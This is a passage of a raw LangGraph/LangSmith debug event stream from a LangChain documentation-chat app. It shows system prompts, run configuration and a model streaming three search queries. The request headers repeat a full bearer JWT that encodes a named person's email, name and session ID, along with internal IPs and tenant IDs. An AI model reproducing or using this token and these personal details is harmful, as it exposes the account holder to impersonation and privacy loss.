most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-03a8-69ba-8000-80fdb8a2a254"},"checkpoint_id":"1f09269f-03a8-69ba-8000-80fdb8a2a254"}},"parent_config":{"configurable":{"checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-03a7-684d-bfff-2e6b72ff5736"},"checkpoint_id":"1f09269f-03a7-684d-bfff-2e6b72ff5736"}},"values":{"question":"Greet the user and ask about their specific LangChain-related question or issue","documents":[]},"metadata":{"source":"loop","step":0,"parents":{"":"1f09269f-0392-6f0b-8001-16692042b92d"}},"next":["generate_queries"],"tasks":[{"id":"1ded568d-0a6a-35e7-cd32-ca7eb1adf769","name":"generate_queries","interrupts":[],"state":null}],"checkpoint":{"checkpoint_id":"1f09269f-03a8-69ba-8000-80fdb8a2a254","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-03a8-69ba-8000-80fdb8a2a254"}},"parent_checkpoint":{"checkpoint_id":"1f09269f-03a7-684d-bfff-2e6b72ff5736","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-03a7-684d-bfff-2e6b72ff5736"}}}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":1,"timestamp":"2025-09-15T19:26:54.807703+00:00","type":"task","payload":{"id":"1ded568d-0a6a-35e7-cd32-ca7eb1adf769","name":"generate_queries","input":{"question":"Greet the user and ask about their specific LangChain-related question or issue","queries":[],"documents":[]},"triggers":["branch:to:generate_queries"]}} + +event: messages/metadata +data: {"run--49590670-5016-4e9d-83b4-922ca480ada2":{"metadata":{"created_by":"system","from_studio":true,"assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","LANGGRAPH_API_URL":"https://chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","run_attempt":1,"langgraph_version":"0.6.6","langgraph_api_version":"0.4.3","langgraph_plan":"enterprise","langgraph_host":"saas","langgraph_api_url":null,"k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","langgraph_step":1,"langgraph_node":"generate_queries","langgraph_triggers":["branch:to:generate_queries"],"langgraph_path":["__pregel_pull","generate_queries"],"langgraph_checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb|generate_queries:1ded568d-0a6a-35e7-cd32-ca7eb1adf769","checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","ls_provider":"anthropic","ls_model_name":"claude-3-5-haiku-20241022","ls_model_type":"chat","ls_temperature":0.0,"ls_max_tokens":1024,"tags":["langsmith:nostream"]}}} + +event: messages/partial +data: [{"content":[],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":""}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\""}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\""}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":[""]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\"LangChain i"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":["LangChain i"]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\"LangChain introductio"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":["LangChain introductio"]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\"LangChain introduction\",\"La"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":["LangChain introduction","La"]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\"LangChain introduction\",\"LangChain key "}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":["LangChain introduction","LangChain key "]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\"LangChain introduction\",\"LangChain key feature"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":["LangChain introduction","LangChain key feature"]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\"LangChain introduction\",\"LangChain key features\",\"LangChai"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":["LangChain introduction","LangChain key features","LangChai"]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\"LangChain introduction\",\"LangChain key features\",\"LangChain common use"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":["LangChain introduction","LangChain key features","LangChain common use"]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\"LangChain introduction\",\"LangChain key features\",\"LangChain common use cases\"]}"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022"},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":["LangChain introduction","LangChain key features","LangChain common use cases"]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":null}] + +event: messages/partial +data: [{"content":[{"id":"toolu_01AWPbqzecb1fScHc93VbLxt","input":{},"name":"Response","type":"tool_use","index":0,"partial_json":"{\"queries\": [\"LangChain introduction\",\"LangChain key features\",\"LangChain common use cases\"]}"}],"additional_kwargs":{},"response_metadata":{"model_name":"claude-3-5-haiku-20241022","stop_reason":"tool_use","stop_sequence":null},"type":"ai","name":null,"id":"run--49590670-5016-4e9d-83b4-922ca480ada2","example":false,"tool_calls":[{"name":"Response","args":{"queries":["LangChain introduction","LangChain key features","LangChain common use cases"]},"id":"toolu_01AWPbqzecb1fScHc93VbLxt","type":"tool_call"}],"invalid_tool_calls":[],"usage_metadata":{"input_tokens":582,"output_tokens":56,"total_tokens":638,"input_token_details":{"cache_creation":0,"cache_read":0}}}] + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":1,"timestamp":"2025-09-15T19:26:56.148062+00:00","type":"task_result","payload":{"id":"1ded568d-0a6a-35e7-cd32-ca7eb1adf769","name":"generate_queries","error":null,"result":[["queries",["LangChain introduction","LangChain key features","LangChain common use cases"]]],"interrupts":[]}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":1,"timestamp":"2025-09-15T19:26:56.148578+00:00","type":"checkpoint","payload":{"config":{"configurable":{"checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 